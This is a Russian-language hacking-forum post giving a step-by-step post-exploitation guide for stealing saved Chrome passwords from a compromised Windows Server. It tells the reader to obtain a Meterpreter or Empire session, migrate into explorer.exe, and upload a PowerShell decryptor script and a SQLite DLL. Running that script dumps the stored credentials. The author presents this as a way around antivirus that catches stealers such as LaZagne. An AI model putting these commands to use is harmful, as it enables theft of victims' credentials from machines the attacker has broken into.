Chrome Password Decryptor

Всем привет! Думаю каждый сталкивался с такой проблемой, когда нужно взять пассы, но тот же метерпретер по каким-то причинам не справляется с этой задачей. Обычные стилаки типа LaZagne убиваются антивирусами, на приватные стиллеры нет денег, либо есть деньги, но нет надежных людей. При конвертировании питоновских файлов какие-то ошибки. Все бесит, нервы сдают, но выход есть всегда и сегодня - это изъятия пассов с помощью powershell скрипта.

Атакующая машина : Kali linux 2017.3

Атакуемая машина : Windows Server 2012 R2 (EN)

Источник: https://github.com/p0z/CPD

Что нужно ?

1. Естественно получить агента ( сессию ) куда угодно: Empire, Meterpreter . В моем случае этот будет Метерпретер

2. Мигрировать в explorer! Создать на диске каталог и закинуть туда наши 2 файла.

migrate:

pgrep explorer

pid - ваш explorer

migrate pid

Создание каталога: 

mkdir Pass

cd Pass

Загрузка файлов в созданный каталог (test):

upload путь к файлу на диске

upload /root/CPD/Chrome_Passwords_Decryptor.ps1

upload /root/CPD/System.Data.SQLite.dll

3. Потереть ручки и выполнить следующую команду:

powershell -file Chrome_Passwords_Decryptor.ps1

Отлично, на выходе получаем вот это 

P.S. Если не мигрировать, то пассов Вам не видать.​

Вот такой получился лайтовый гайд. Всем спасибо за внимание и до новых встреч!